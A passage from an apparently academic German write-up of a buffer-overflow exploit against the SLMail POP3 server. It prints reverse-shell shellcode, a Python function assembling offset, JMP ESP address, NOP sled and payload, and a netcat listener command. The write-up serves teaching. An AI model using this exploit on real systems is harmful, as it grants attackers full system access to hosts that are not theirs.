buf += b"\x3e\xc3\x2b\x13\xd3\x10\x46\x7e\xbc\xd5\x6b\x80\x3c"
buf += b"\x72\xfb\xf3\x0e\xdd\x57\x9b\x22\x96\x71\x5c\x44\x8d"
buf += b"\xc6\xf2\xbb\x2e\x37\xdb\x7f\x7a\x67\x73\xa9\x03\xec"
buf += b"\x83\x56\xd6\xa3\xd3\xf8\x89\x03\x83\xb8\x79\xec\xc9"
buf += b"\x36\xa5\x0c\xf2\x9c\xce\xa7\x09\x77\xfb\x3d\x1b\x06"
buf += b"\x93\x43\x1b\x09\xdf\xcd\xfd\x63\x0f\x98\x56\x1c\xb6"
buf += b"\x81\x2c\xbd\x37\x1c\x49\xfd\xbc\x93\xae\xb0\x34\xd9"
buf += b"\xbc\x25\xb5\x94\x9e\xe0\xca\x02\xb6\x6f\x58\xc9\x46"
buf += b"\xf9\x41\x46\x11\xae\xb4\x9f\xf7\x42\xee\x09\xe5\x9e"
buf += b"\x76\x71\xad\x44\x4b\x7c\x2c\x08\xf7\x5a\x3e\xd4\xf8"
buf += b"\xe6\x6a\x88\xae\xb0\xc4\x6e\x19\x73\xbe\x38\xf6\xdd"
buf += b"\x56\xbc\x34\xde\x20\xc1\x10\xa8\xcc\x70\xcd\xed\xf3"
buf += b"\xbd\x99\xf9\x8c\xa3\x39\x05\x47\x60\x59\xe4\x4d\x9d"
buf += b"\xf2\xb1\x04\x1c\x9f\x41\xf3\x63\xa6\xc1\xf1\x1b\x5d"
buf += b"\xd9\x70\x19\x19\x5d\x69\x53\x32\x08\x8d\xc0\x33\x19"

Ausgabe des generierten Payloads in Form einer Reverse-Shell mit msfvenom

Die Ausgabe kann nun als Payload zusammen mit der Speicheradresse der Sprunganweisung nach ESP in invertierter Form (0x8f354a5f) sowie einigen No Operation (NOP)-Anweisungen (\x90) in die Python Anwendung eingefügt werden. Daraus ergibt sich der folgende finale Gesamtaufbau des Stacks.

Abbildung 14: Der Adressraum von SLMail mit Buffer-Overflow (Quelle: Eigene Darstellung)

Die NOP-Anweisungen führen, wie deren Name bereits vermuten lässt, keinen Code aus. Diese dienen lediglich als Platzhalter zwischen dem EIP und dem ESP, um mögliche Probleme bei der Ausführung der Reverse-Shell zu vermeiden. Die Ursache für mögliche Probleme bestehen im Kontext des hiesigen Buffer-Overflows vor allem darin, dass sich die Speicheradresse des ESP durch etwaige Seiteneffekte leicht nach oben verschieben kann. Durch das Einfügen der NOP-Anweisungen wird somit dafür gesorgt, dass mögliche Abweichungen bei der Speicheradresse des ESP kompensiert werden und der Payload zuverlässig zur Ausführung kommt [2, 4].

def send_buffer(ip, port=110):
    # Buffer-Aufbau: Offset + ESP-Sprungadresse + NOP-Slides + Reverse-Shell
    buffer = b'A' * 2606 + b'\x8f\x35\x4a\x5f' + b'\x90' * 16 + \
             b'\xbb\xb5\x25\xf3\x34\xdb\xd0\xd9\x74\x24\xf4\x58\x33\xc9\xb1' \
             b'\x52\x83\xc0\x04\x31\x58\x0e\x03\xed\x2b\x11\xc1\xf1\xdc\x57' \
             [...]
             b'\x32\x08\x8d\xc0\x33\x19'

    [...]

Quellcode 5: Python POP3 Send-Funktion mit Reverse-Shell-Payload (Quelle: Eigenentwicklung)

Da es sich um eine Reverse-Shell handelt, muss vor der Ausführung von Quellcode 5 noch auf eingehende Verbindungen auf dem Ziel-Host unter Port 443 gewartet werden. Dies kann mit OpenBSD-Netcat realisiert werden.

sudo nc -nlvp 443

Quellcode 6: Starten des OpenBSD-Netcat Listeners unter Port 443 [15]

Als Ergebnis erhält man abschließend eine Reverse-Shell vom SLMail-Server zum Ziel-Host mit vollen Systemberechtigungen (vgl. Abbildung 15), da der Dienst selbst mit den gleichen Berechtigungen ausgeführt wird.

Abbildung 15: Reverse-Shell mit vollen Systemberechtigungen (Quelle: Eigener Screenshot)

Literaturverzeichnis

[1] OWASP Foundation. Buffer Overflow. Webseite. https://owasp.org/www-community/vulnerabilities/Buffer_Overflow; abgerufen am 25. April 2021, 19:50 Uhr. 2020.

[2] Günter Schäfer und Michael Rossberg. „Netzsicherheit: Grundlagen & Protokolle - Mobile & drahtlose Kommunikation - Schutz von Kommunikationsinfrastrukturen“. In: 2. Auflage. dpunkt.verlag, 2014. Kap. 17.2.1, S. 449–452. ISBN: 978-3-86490-115-7.

[3] Elias Levy. Smashing The Stack For Fun And Profit. Webseite. https://insecure.org/stf/smashstack.html; abgerufen am 25. April 2021, 20:00 Uhr. 2006.

[4] Claudia Eckert. „IT-Sicherheit: Konzepte - Verfahren - Protokolle“. In: 10. Auflage. Walterde Gruyter, 2018. Kap. 2.2 - 2.2.2, S. 45–51. ISBN: 978-3-11-055158-7.

[5] Elias Bachaalany und Sébastien Josse Bruce Dang Alexandre Gazet. „Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation“. In: 1. Auflage. John Wiley & Sons, 2014. Kap. 1, S. 1–38. ISBN: 978-1-118-78731-1.

[6] Christoforos Petrou. Buffer overflow: Why does the ESP Register change its value afteran access violation? Webseite. https://security.stackexchange.com/a/182473; abgerufen am 14. Juni 2021, 17:50 Uhr. 2018.

[7] OWASP Foundation. Fuzzing. Webseite. https://owasp.org/www-community/Fuzzing; abgerufen am 26. April 2021, 11:20 Uhr. 2020.

[8] John Myers und Marshall Rose. Post Office Protocol - Version 3. Webseite. https://tools.ietf.org/html/rfc1939; abgerufen am 26. April 2021, 11:30 Uhr. 1996.

[9] Michael Messner. „Hacking mit Metasploit: Das umfassende Handbuch zu PenetrationTesting und Metasploit“. In: 3. Auflage. dpunkt.verlag, 2017. Kap. 10.2.3 - 10.11, S. 409–449. ISBN: 978-3-86490-523-0.

[10] Offensive Security Services LLC. Writing an Exploit. Webseite. https://www.offensive-security.com/metasploit-unleashed/writing-an-exploit/; abgerufen am 27. April 2021, 10:30 Uhr. 2020.

[11] David Cary. DAV’s Endian FAQ. Webseite. http://david.carybros.com/html/endian_faq.html; abgerufen am 20. Juni 2021, 15:35 Uhr. 2002.

[12] OWASP Foundation. Embedding Null Code. Webseite. https://owasp.org/www-community/attacks/Embedding_Null_Code; abgerufen am 23. Juni 2021, 13:55 Uhr. 2020.

[13] Wikipedia-Autoren. Newline. Webseite. https://en.wikipedia.org/w/index.php?title=Newline&oldid=1019827553; abgerufen am 27. April 2021, 14:50 Uhr. 2021.

[14] Evan Reese und Nick Carr Steve Miller. Shikata Ga Nai Encoder Still Going Strong. Webseite. https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html; abgerufen am 28. Juni 2021, 17:00 Uhr. 2019.

[15] Eric Jackson. nc(1) - OpenBSD manual pages. Webseite. https://man.openbsd.org/nc.1; abgerufen am 30. Juni 2021, 16:20 Uhr. 2021.

Abkürzungsverzeichnis

  • Arbitrary Code Execution (ACE)
  • Buffer-Overflow (BOF)
  • Dynamic Link Library (DLL)
  • Extended Base Pointer (EBP)
  • Extended Instruction Pointer (EIP)
  • Extended Stack Pointer (ESP)
  • No Operation (NOP)